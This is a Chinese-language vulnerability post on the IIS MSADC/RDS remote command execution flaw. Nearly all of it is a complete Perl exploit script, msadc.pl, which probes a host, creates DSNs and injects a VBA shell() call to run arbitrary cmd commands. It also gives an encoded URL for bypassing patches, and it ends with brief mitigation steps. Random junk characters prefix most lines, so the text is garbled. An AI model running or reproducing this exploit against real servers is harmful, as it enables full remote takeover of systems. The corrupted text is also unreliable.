IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~7anj. +PS
jBO4! 涉及程序:
hd6O+i
Y4 Microsoft NT server
.$@+ /@4 NfUt\ p* 描述:
k!Q{u2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
^t:dcY7 pH3<QNq5 详细:
F$bV}>-1k 如果你没有时间读详细内容的话,就删除:
qVfl6q5 c:\Program Files\Common Files\System\Msadc\msadcs.dll
rr,w/[ 有关的安全问题就没有了。
@{W"mc+ |Ve,Y 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
PD&gC88 (zh[1[a 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
3{fg3? 关于利用ODBC远程漏洞的描述,请参看:
|c^ ?tR< J#t-."f6^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )U=]HpuzI T7%!JBg@ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z;!"i~fFK http://www.microsoft.com/security/bulletins/MS99-025faq.asp #*:^\z_Jd K8R>O *~ 这里不再论述。
&gPP#D6A S*$?~4{R 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
SnR2o3r-Of T;?k]4.X /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$dF3@(p 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
SiUu**zC ] |nW vFB^h1k~.M #将下面这段保存为txt文件,然后: "perl -x 文件名"
9!
/kyyU M(zZ8# #!perl
xP!QV~$> #
A&bj l[s # MSADC/RDS 'usage' (aka exploit) script
U8AH,?]# #
Lm=;Y6'`N # by rain.forest.puppy
@0 /qP<E #
|/vJ+aKq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<l$ d>, # beta test and find errors!
,T`,OZm #K6cBfqI use Socket; use Getopt::Std;
t`&x.o getopts("e:vd:h:XR", \%args);
r:;.?f@ )+hV+rM jp print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
OU"%,&J &'x~<rx if (!defined $args{h} && !defined $args{R}) {
kJp~'\b print qq~
}&t>j[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Cf3!Ud -h <host> = host you want to scan (ip or domain)
C!*.jvhT -d <seconds> = delay between calls, default 1 second
4a"Fu<q -X = dump Index Server path table, if available
6:O<k2=2 -v = verbose
`}$o<CJ -e = external dictionary file for step 5
Ph1XI&us9 acR|X@\3 Or a -R will resume a command session
6FQi=}O 1 `om+p?j ~; exit;}
1XMR7liE v$W[( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*L$2M?xkY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
b1.*cIv} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*q*3SP/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
12KC4,C&1i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
akxNT_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
M .b8 -`V q8?kBKP if (!defined $args{R}){ $ret = &has_msadc;
g4$(%] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
OegeZV kkF)Tro\ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
*[3xc*5F/A . "cmd /c ";
^taN?5 $in=<STDIN>; chomp $in;
V@G#U[D $command="cmd /c " . $in ;
jdP)y]c e "A" if (defined $args{R}) {&load; exit;}
TZAd{EZa o)AwM" print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/i'078F &try_btcustmr;
_U<fS \ ;npdFy print "\nStep 2: Trying to make our own DSN...";
fkBL`[v)4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2}r=DAe0 ff\~`n~WZ print "\nStep 3: Trying known DSNs...";
@1JwjtNk &known_dsn;
GQqGrUQ*} d,V#5l-6 print "\nStep 4: Trying known .mdbs...";
D(#f`Fj; &known_mdb;
I6W`yh`I) B7C3r9wj if (defined $args{e}){
qd*}d)! print "\nStep 5: Trying dictionary of DSN names...";
:8A+2ra& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ae+)RBpc {r,Uik-nL print "Sorry Charley...maybe next time?\n";
qTd[DaG# exit;
dAh.I3 MzJCiX^ ##############################################################################
;]>kp^C# z)qYW6o% sub sendraw { # ripped and modded from whisker
WQK<z!W5 sleep($delay); # it's a DoS on the server! At least on mine...
C82_)@96 my ($pstr)=@_;
Gk,Bx1y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%ou,|Dww die("Socket problems\n");
\G" S7 if(connect(S,pack "SnA4x8",2,80,$target)){
5p;AON select(S); $|=1;
K,E/.Qe\C print $pstr; my @in=<S>;
.+9hm| select(STDOUT); close(S);
>lQo _p(; return @in;
|*&l?S } else { die("Can't connect...\n"); }}
XO <wK y_Y(Xx3 ##############################################################################
zUfq. xM*_1+<dT$ sub make_header { # make the HTTP request
v= 55{ my $msadc=<<EOT
*'<AwG& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
T*z]<0E] User-Agent: ACTIVEDATA
:!`"GaTy Host: $ip
Bt+^H6cb Content-Length: $clen
xY^sC56Z Connection: Keep-Alive
_4ag-'5 )ZG;.j
ADCClientVersion:01.06
ZZw`8 E Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e~o!Qm y+k_&ss --!ADM!ROX!YOUR!WORLD!
37#&:[w> Content-Type: application/x-varg
fE#(M +(< Content-Length: $reqlen
/WrB>w L:R4&|E/t EOT
NB-dlv1 ; $msadc=~s/\n/\r\n/g;
{ZJO5* return $msadc;}
v, $r.g; @IT[-d ##############################################################################
U<Pjn)M~B F^i3e31*t sub make_req { # make the RDS request
"[ bkdL< my ($switch, $p1, $p2)=@_;
'%N?r,x
C my $req=""; my $t1, $t2, $query, $dsn;
~P4C`Q1PT# ~6[?=mOi' if ($switch==1){ # this is the btcustmr.mdb query
XHr*Rs.[= $query="Select * from Customers where City=" . make_shell();
?bTfQH
vX $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Kl1v^3\{ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|.<_$[v[x (I[_}l elsif ($switch==2){ # this is general make table query
SQp|
$query="create table AZZ (B int, C varchar(10))";
6EqA Y`y $dsn="$p1";}
?|nl93m LU1I
`E elsif ($switch==3){ # this is general exploit table query
ZlT }cA/n $query="select * from AZZ where C=" . make_shell();
LCF}Y{ $dsn="$p1";}
]z'&oz i'>6Qo elsif ($switch==4){ # attempt to hork file info from index server
48^-]}; $query="select path from scope()";
^QK`z@B $dsn="Provider=MSIDXS;";}
"F
F$Q#) o+A7hBM^ elsif ($switch==5){ # bad query
Ox3=1M0 $query="select";
&5CRXf $dsn="$p1";}
q6zVu( ^&zCPUH $t1= make_unicode($query);
zj
6I:Qr $t2= make_unicode($dsn);
aukcO;oG< $req = "\x02\x00\x03\x00";
S|85g1}t $req.= "\x08\x00" . pack ("S1", length($t1));
wi(Y=?= $req.= "\x00\x00" . $t1 ;
2g.lb&3W $req.= "\x08\x00" . pack ("S1", length($t2));
"J VIkC $req.= "\x00\x00" . $t2 ;
inP2y ?j $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"<,lqIqA; return $req;}
+8Xjk\Hi HJL! ;i ##############################################################################
>O'\
jp}$l q<3nAE$?= sub make_shell { # this makes the shell() statement
bJd|mm/v return "'|shell(\"$command\")|'";}
DfXkLOGik bA;OphO( ##############################################################################
B8&q$QV j=WxtMS sub make_unicode { # quick little function to convert to unicode
|OeyPD# my ($in)=@_; my $out;
u3T-U_:jSV for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
$?= $F return $out;}
!xs}CxEyA m`yvZ4K! ##############################################################################
3efOgP=L M2$/x`\-~ sub rdo_success { # checks for RDO return success (this is kludge)
M/3;-g my (@in) = @_; my $base=content_start(@in);
_l
d.Xmvd if($in[$base]=~/multipart\/mixed/){
MZgaQU g return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!np_B0` return 0;}
-@v^. @[Z& uGU2 ##############################################################################
x :SjdT 'L /)9.29 sub make_dsn { # this makes a DSN for us
_3/u#'m0 my @drives=("c","d","e","f");
}%g[1
#%( print "\nMaking DSN: ";
T(!1\ TB foreach $drive (@drives) {
|J$A%27 print "$drive: ";
6pt,]FlU my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:;$MUOps "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
TWP@\ BQ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
RdCGK?s $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7@ym:6Y+] return 0 if $2 eq "404"; # not found/doesn't exist
`M@ESA(e if($2 eq "200") {
"4b{YWv foreach $line (@results) {
;,y_^-h; return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
<ZC.9 } return 0;}
y?sz&*: &4Z8df! ##############################################################################
l\_!oa~ E|=x+M1sH sub verify_exists {
snbXAx1L my ($page)=@_;
e$LC my @results=sendraw("GET $page HTTP/1.0\n\n");
pte\1q[N return $results[0];}
6
AO(A
* F|%PiC,,qO ##############################################################################
{_7hX`p lMv6QL\>' sub try_btcustmr {
k>i88^kPV my @drives=("c","d","e","f");
[Rj4=qq= my @dirs=("winnt","winnt35","winnt351","win","windows");
bTs2$81[ g;l K34{ foreach $dir (@dirs) {
'o='Q)Dk print "$dir -> "; # fun status so you can see progress
5BrN
uR$ foreach $drive (@drives) {
w1Bkz\95 print "$drive: "; # ditto
GcM1*)$ 4
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
>~g- $reqlenlen=length( "$reqlen" );
xI,3(A. $clen= 206 + $reqlenlen + $reqlen;
O%t? -h d=1\= d/K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:7{GOx if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%[XP}L$ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D#nH g T
m"B ##############################################################################
l!1_~!{y }$)~HmZw sub odbc_error {
_DR@P(0>_ my (@in)=@_; my $base;
#(
.G;e;w my $base = content_start(@in);
rBJ`=o z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
S{llpp{E $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mJ%^`mrI $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5Q"yn2b4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.1(_7!m@ return $in[$base+4].$in[$base+5].$in[$base+6];}
6+=_p$crMx print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
8kK L= print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
x@X2r $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
=t N}4 &n*ga$Q ##############################################################################
%=z>kU1| [l=@b4Og sub verbose {
OX,em Ti my ($in)=@_;
}a OBQsnO return if !$verbose;
(jKqwVs.: print STDOUT "\n$in\n";}
7<LuL N_G&nw ##############################################################################
@de ZZ x~k3kj sub save {
<hzHrx'o{ my ($p1, $p2, $p3, $p4)=@_;
H2iIBGu|L open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Zzlt^#KLx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f (C:J[;Z close OUT;}
5]mH.{$x$? =pzTB-G ##############################################################################
B<~AUf*y '!$QI@@ sub load {
sudh=_+> my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6Takx%U open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Uhu?G0>O @p=<IN>; close(IN);
aGWO3Nk $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
YdV.+v(30 $target= inet_aton($ip) || die("inet_aton problems");
75>%!mhM print "Resuming to $ip ...";
qo:Zc`t(R $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
vEjf|-Mb9 if($p[1]==1) {
3 85qQppz $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
?taC
!{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'`tFZfT my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!pfpT\i]N: if (rdo_success(@results)){print "Success!\n";}
.NWsr*Tel else { print "failed\n"; verbose(odbc_error(@results));}}
ipG 0ie+ elsif ($p[1]==3){
_G`Q2hf"5 if(run_query("$p[3]")){
=f@71D1 print "Success!\n";} else { print "failed\n"; }}
aQH]hLvs elsif ($p[1]==4){
ZK?V{X{"; if(run_query($drvst . "$p[3]")){
!C4)P3k print "Success!\n"; } else { print "failed\n"; }}
.`*;AT exit;}
6x5Q*^w K}q5,P( ##############################################################################
f7zB_hVDmE Ww~C[8q sub create_table {
LD{~6RP my ($in)=@_;
n=f?Q=h\3 $reqlen=length( make_req(2,$in,"") ) - 28;
f:nXE&X[ $reqlenlen=length( "$reqlen" );
;"f9"
$clen= 206 + $reqlenlen + $reqlen;
"X=^MGV my @results=sendraw(make_header() . make_req(2,$in,""));
%/)z!}{ return 1 if rdo_success(@results);
XiV*d06{ my $temp= odbc_error(@results); verbose($temp);
']Czn._ return 1 if $temp=~/Table 'AZZ' already exists/;
H [M:iV return 0;}
c.Izm+9k
w@mCQ$ ##############################################################################
;
p+C0!B2 !9qw sub known_dsn {
&]f8Xd # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
JFu.o8[Q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0LGHSDb "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
sw$JY}Q8x "banner", "banners", "ads", "ADCDemo", "ADCTest");
R0w~ Z
hQ)?LPUB foreach $dSn (@dsns) {
fyZtwl@6w# print ".";
sj+ ) next if (!is_access("DSN=$dSn"));
kQ[23 if(create_table("DSN=$dSn")){
PTpfa*t print "$dSn successful\n";
V1i^#; if(run_query("DSN=$dSn")){
V[8!ymi0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/^i_tLgb print "Something's borked. Use verbose next time\n";}}} print "\n";}
0m4#{^Y t[({KbIy ##############################################################################
6DEH|2 t }K8{
V sub is_access {
<e|B7<. my ($in)=@_;
# b3 14 $reqlen=length( make_req(5,$in,"") ) - 28;
)):D&wlq $reqlenlen=length( "$reqlen" );
B|>eKI $clen= 206 + $reqlenlen + $reqlen;
1mv5B t my @results=sendraw(make_header() . make_req(5,$in,""));
ju.`c->k" my $temp= odbc_error(@results);
gYpFF=7j<@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
bHDZ=Ik return 0;}
P=ubCS' M(} T\R ##############################################################################
!}d_$U$ HT_nxe`E sub run_query {
I'J-)D` my ($in)=@_;
x` 4|^u $reqlen=length( make_req(3,$in,"") ) - 28;
5uM`4xkj $reqlenlen=length( "$reqlen" );
O/l/$pe $clen= 206 + $reqlenlen + $reqlen;
P$__c{1\ my @results=sendraw(make_header() . make_req(3,$in,""));
4SkCV return 1 if rdo_success(@results);
BgsU:eKe my $temp= odbc_error(@results); verbose($temp);
w~AO;X*Ke" return 0;}
w!UIz[ajI &61h*s ##############################################################################
H/0b3I^ :K*/ sub known_mdb {
_k)EqPYu@ my @drives=("c","d","e","f","g");
:dlG:=.W my @dirs=("winnt","winnt35","winnt351","win","windows");
m7cG]a~a my $dir, $drive, $mdb;
7U)w\A;~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/7R0w GSGaYq # this is sparse, because I don't know of many
tHJahK:"k my @sysmdbs=( "\\catroot\\icatalog.mdb",
ur+ \!y7^R "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[WR*u\FF "\\system32\\certmdb.mdb",
\NL*$SnxP "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
S8e ?-rC dsZ-|C my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
xqj@T^y "\\cfusion\\cfapps\\forums\\forums_.mdb",
.A7ON1lc^C "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8$ _8Yva"e "\\cfusion\\cfapps\\security\\realm_.mdb",
~kZ?e1H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
hIo^/_K "\\cfusion\\database\\cfexamples.mdb",
c*V/2"
5 "\\cfusion\\database\\cfsnippets.mdb",
u0Opn=(_ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ZY)&Fam} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
o|1_I?_ "\\cfusion\\brighttiger\\database\\cleam.mdb",
pq,8z= Uf "\\cfusion\\database\\smpolicy.mdb",
JIMi~mEiN "\\cfusion\\database\cypress.mdb",
Tu=~iQ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5Kkp1K$M "\\website\\cgi-win\\dbsample.mdb",
rW2 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~#:R1~rh\e "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
:D ); #these are just
.#Lu/w' -M foreach $drive (@drives) {
UmP\; foreach $dir (@dirs){
810uxw{\ foreach $mdb (@sysmdbs) {
5"7lWX print ".";
j>O!|V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^4
~ V/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
rUBc5@| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_sqV@ J print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9{R88f?; } else { print "Something's borked. Use verbose next time\n"; }}}}}
$G#)D^-5G "tU,.U foreach $drive (@drives) {
wN$u^] foreach $mdb (@mdbs) {
RA:3ZV print ".";
,z|g b]\ if(create_table($drv . $drive . $dir . $mdb)){
hODq&9! print "\n" . $drive . $dir . $mdb . " successful\n";
=R||c if(run_query($drv . $drive . $dir . $mdb)){
6z1>(Za7> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
I~>Ye<g# } else { print "Something's borked. Use verbose next time\n"; }}}}
q=/ck }
71k>_'fl HAGpM\Qa ##############################################################################
X/<Q3AK Kfs|KIQ>= sub hork_idx {
e-YMFJtoK} print "\nAttempting to dump Index Server tables...\n";
0`kaT
?> print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5H/D~hr& $reqlen=length( make_req(4,"","") ) - 28;
=.6JvX<d1* $reqlenlen=length( "$reqlen" );
JrwR:_+| $clen= 206 + $reqlenlen + $reqlen;
Y~-P9 my @results=sendraw2(make_header() . make_req(4,"",""));
m 3"|$0C~ if (rdo_success(@results)){
f/%QMhM: my $max=@results; my $c; my %d;
FSkz[D_} for($c=19; $c<$max; $c++){
f VpE&F $results[$c]=~s/\x00//g;
DBZ^n9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
kTS#>uS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
kPFqsq $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
\WZ]'o6 $d{"$1$2"}="";}
.#}`r`/ foreach $c (keys %d){ print "$c\n"; }
//-;uEO } else {print "Index server doesn't seem to be installed.\n"; }}
J4q_}^/2w O",*N ##############################################################################
|Fp+9U ^n<o,K4\} sub dsn_dict {
^#&:-4/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
K_CE.8G&{ while(<IN>){
gSXidh}^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ibQN
p Iz next if (!is_access("DSN=$dSn"));
{K >}eO:K if(create_table("DSN=$dSn")){
3YJa3fflK print "$dSn successful\n";
\LQ54^eB if(run_query("DSN=$dSn")){
NaYr$` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)CUB7D)= print "Something's borked. Use verbose next time\n";}}}
fHR^?\VVp print "\n"; close(IN);}
)~H&YINhn p2uZ*sY(D ##############################################################################
nypG 5BB:. sub sendraw2 { # ripped and modded from whisker
31k2X81;a sleep($delay); # it's a DoS on the server! At least on mine...
?Y\hC0a60 my ($pstr)=@_;
[X\~J &kD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S_dM{.!Z(, die("Socket problems\n");
MtKM#@ if(connect(S,pack "SnA4x8",2,80,$target)){
@w5x;uB|%G print "Connected. Getting data";
T~-OC0 open(OUT,">raw.out"); my @in;
bz\-%$^k select(S); $|=1; print $pstr;
{<y.G1<. while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%Ae43 close(OUT); select(STDOUT); close(S); return @in;
.Arcsg } else { die("Can't connect...\n"); }}
F<LRo}j"9Q &(i_s ##############################################################################
s 8iB>-dk 6PdLJ#LS sub content_start { # this will take in the server headers
Uy5G,! my (@in)=@_; my $c;
:*dfP/GO for ($c=1;$c<500;$c++) {
b,):&M~p if($in[$c] =~/^\x0d\x0a/){
p^THoF'~T if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+jN%w{^= else { return $c+1; }}}
P1I L] return -1;} # it should never get here actually
IT=<p60" n,8bQP=& ##############################################################################
^M~Z_CQL2 lmpBf{~ S sub funky {
t)4AQ my (@in)=@_; my $error=odbc_error(@in);
_fE$KaP if($error=~/ADO could not find the specified provider/){
"z9 p(|oZ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$fFh4O4 exit;}
$s"{C"4q if($error=~/A Handler is required/){
cPbAR' print "\nServer has custom handler filters (they most likely are patched)\n";
$BUm, exit;}
cyPJ(&; if($error=~/specified Handler has denied Access/){
UNJAfr P print "\nServer has custom handler filters (they most likely are patched)\n";
3*!w c.= exit;}}
bK#SxV E)z=85;_p ##############################################################################
pRH'>}rtuH jU0E=;1 sub has_msadc {
bd)'1;p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q]hl+C$d"/ my $base=content_start(@results);
RAB'%CY4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
l _g JC. return 0;}
J1g+H2 $~)YI/b ########################
H?cJ'Q,5 ^\C Fke= t+Au6/Dx? 解决方案:
rBUWzpE" 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
kY^ k*-v 2、移除web 目录: /msadc